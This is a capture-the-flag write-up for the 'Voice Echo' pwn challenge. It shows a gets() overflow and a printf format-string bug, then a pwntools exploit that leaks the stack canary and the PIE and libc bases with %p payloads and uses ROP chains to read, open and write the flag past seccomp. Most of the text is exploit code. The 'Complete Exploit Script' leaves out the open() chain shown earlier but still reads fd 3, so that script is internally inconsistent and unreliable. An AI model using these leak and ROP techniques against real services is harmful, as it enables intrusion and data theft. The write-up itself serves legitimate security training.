[CTF] WU - Voice Echo
CTF InterCampus Ynov 2024
Difficulty Level : Insane
Challenge Category : PWN
Description :
Server is designed to echo back whatever you send it, but there's more to it than meets the eye.
Challenge Description
In this challenge, you'll face off against a simple echo server with a hidden twist. The server is designed to echo back whatever you send it, but there's more to it than meets the eye. Your task is to uncover the vulnerabilities hidden within the server's implementation and exploit them to retrieve a secret flag.
Vulnerabilities
1. Buffer Overflow in echo()
The echo
function uses a buffer (char buf[60]
) to store user input. However, it relies on the gets()
function, which does not perform bounds checking, leading to a potential buffer overflow.
void echo(){
char buf[60];
memset(buf, 0, sizeof(buf));
while (true) {
printf("> ");
gets(buf);
printf(buf);
// Vulnerable: No bounds checking
// Vulnerable: Format string vulnerability
if (strcmp(buf, "exit") == 0)
break;
putchar('\n');
}
}
2. Format String Vulnerability in echo()
The printf(buf);
statement is vulnerable because it directly prints user input without specifying a format string. This allows an attacker to use format specifiers like %p
to read memory contents.
Exploitation Strategy
1. Leaking Memory Information
The binary includes security mechanisms:
- Stack Canary: Protects against stack-based buffer overflows by placing a canary value before the return address. If the canary is altered, the program terminates.
- PIE (Position-Independent Executable): Randomizes the binary's base address, making it harder to predict where functions and variables are located.
- Libc Base Address Randomization: The libc address must also be determined for successful exploitation.
The format string vulnerability can be exploited to leak:
- The stack canary.
- The binary's base address.
- The libc base address.
2. Constructing a ROP Chain
Since the binary restricts certain system calls (e.g., execve
, fork
) via seccomp
, traditional shellcode is not an option. Instead, we construct a ROP chain using allowed functions like read
, open
, and write
.
The ROP chain will:
- Read the flag filename into a writable memory section (.bss).
- Open the flag file and obtain a file descriptor.
- Read the flag's contents and print them to standard output.
Exploit Development
Step 1: Leaking the Canary and Base Addresses
The following format string payloads leak the necessary memory addresses:
# Send format string payloads to leak memory information
for i in range(25):
r.sendlineafter(b'> ', f"%{i}$p".encode())
log.success(f'i => {i} ::'.encode() + r.recvline())
# Extract the canary, binary base, and libc base from leaks
r.sendline(b"%17$p.%19$p.%21$p")
r.recvuntil(b"> ")
canary = int(r.recv(18), 16)
log.success(f"canary = {hex(canary)}")
elf.address = int(r.recv(14), 16) - elf.sym.main - 24
log.success(f"elf.address = {hex(elf.address)}")
libc.address = int(r.recv(14), 16) - libc.sym.__libc_start_main + 0x36
log.success(f"libc.address = {hex(libc.address)}")
Step 2: Building the ROP Chain
With the leaked information, we construct the ROP chain:
ROP Chain to Read the Flag Filename
filename = elf.bss() + 0x500 # Writable section in .bss
rop = ROP(libc)
rop.raw(b'A' * 0x48) # Overflow buffer
rop.raw(canary) # Preserve the canary
rop.raw(0xdeadbeef) # Padding for stack alignment
rop.read(0, filename, 0x10) # Read flag name into .bss
rop.raw(elf.sym.echo) # Call echo function again
r.sendlineafter(b"> ", rop.chain())
r.sendlineafter(b"> ", b"./flag.txt") # Send flag file name
ROP Chain to Open and Read the Flag
rop = ROP(libc)
rop.raw(b'A' * 0x48)
rop.raw(canary)
rop.raw(0xdeadbeef)
rop.open(filename, 0, 0) # Open the flag file
rop.raw(elf.sym.echo)
r.sendlineafter(b"> ", rop.chain())
r.sendlineafter(b"> ", b"exit")
# Reading the flag using the obtained file descriptor
fd = 3 # File descriptor for the opened flag file
rop = ROP(libc)
rop.raw(b'A' * 0x48)
rop.raw(canary)
rop.raw(0xdeadbeef)
rop.read(fd, elf.bss(), 0x40) # Read flag into .bss
rop.write(1, elf.bss(), 70) # Write flag to stdout
rop.raw(elf.sym.echo)
r.sendlineafter(b"> ", rop.chain())
r.sendlineafter(b"> ", b"exit")
Complete Exploit Script
#!/usr/bin/env python3
from pwn import *
from time import sleep
elf = ELF("./main")
libc = None
context.binary = elf
def conn():
global libc
if args.LOCAL:
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
r = process([elf.path])
if args.DEBUG:
gdb.attach(r)
else:
libc = ELF("./DockerLibc/libc.so.6")
r = remote("127.0.0.1", 1237)
return r
def main():
r = conn()
# Leak memory addresses
for i in range(25):
r.sendlineafter(b'> ', f"%{i}$p".encode())
log.success(f'i => {i} ::'.encode() + r.recvline())
r.sendline(b"%17$p.%19$p.%21$p")
r.recvuntil(b"> ")
canary = int(r.recv(18), 16)
log.success(f"canary = {hex(canary)}")
elf.address = int(r.recv(14), 16) - elf.sym.main - 24
log.success(f"elf.address = {hex(elf.address)}")
libc.address = int(r.recv(14), 16) - libc.sym.__libc_start_main + 0x36
log.success(f"libc.address = {hex(libc.address)}")
# Build and send ROP chains
filename = elf.bss() + 0x500
rop = ROP(libc)
rop.raw(b'A' * 0x48)
rop.raw(canary)
rop.raw(0xdeadbeef)
rop.read(0, filename, 0x10)
rop.raw(elf.sym.echo)
r.sendlineafter(b"> ", rop.chain())
r.sendlineafter(b"> ", b"./flag.txt")
fd = 3
rop = ROP(libc)
rop.raw(b'A' * 0x48)
rop.raw(canary)
rop.raw(0xdeadbeef)
rop.read(fd, elf.bss(), 0x40)
rop.write(1, elf.bss(), 70)
rop.raw(elf.sym.echo)
r.sendlineafter(b"> ", rop.chain())
r.sendlineafter(b"> ", b"exit")
r.interactive()
if __name__ == "__main__":
main()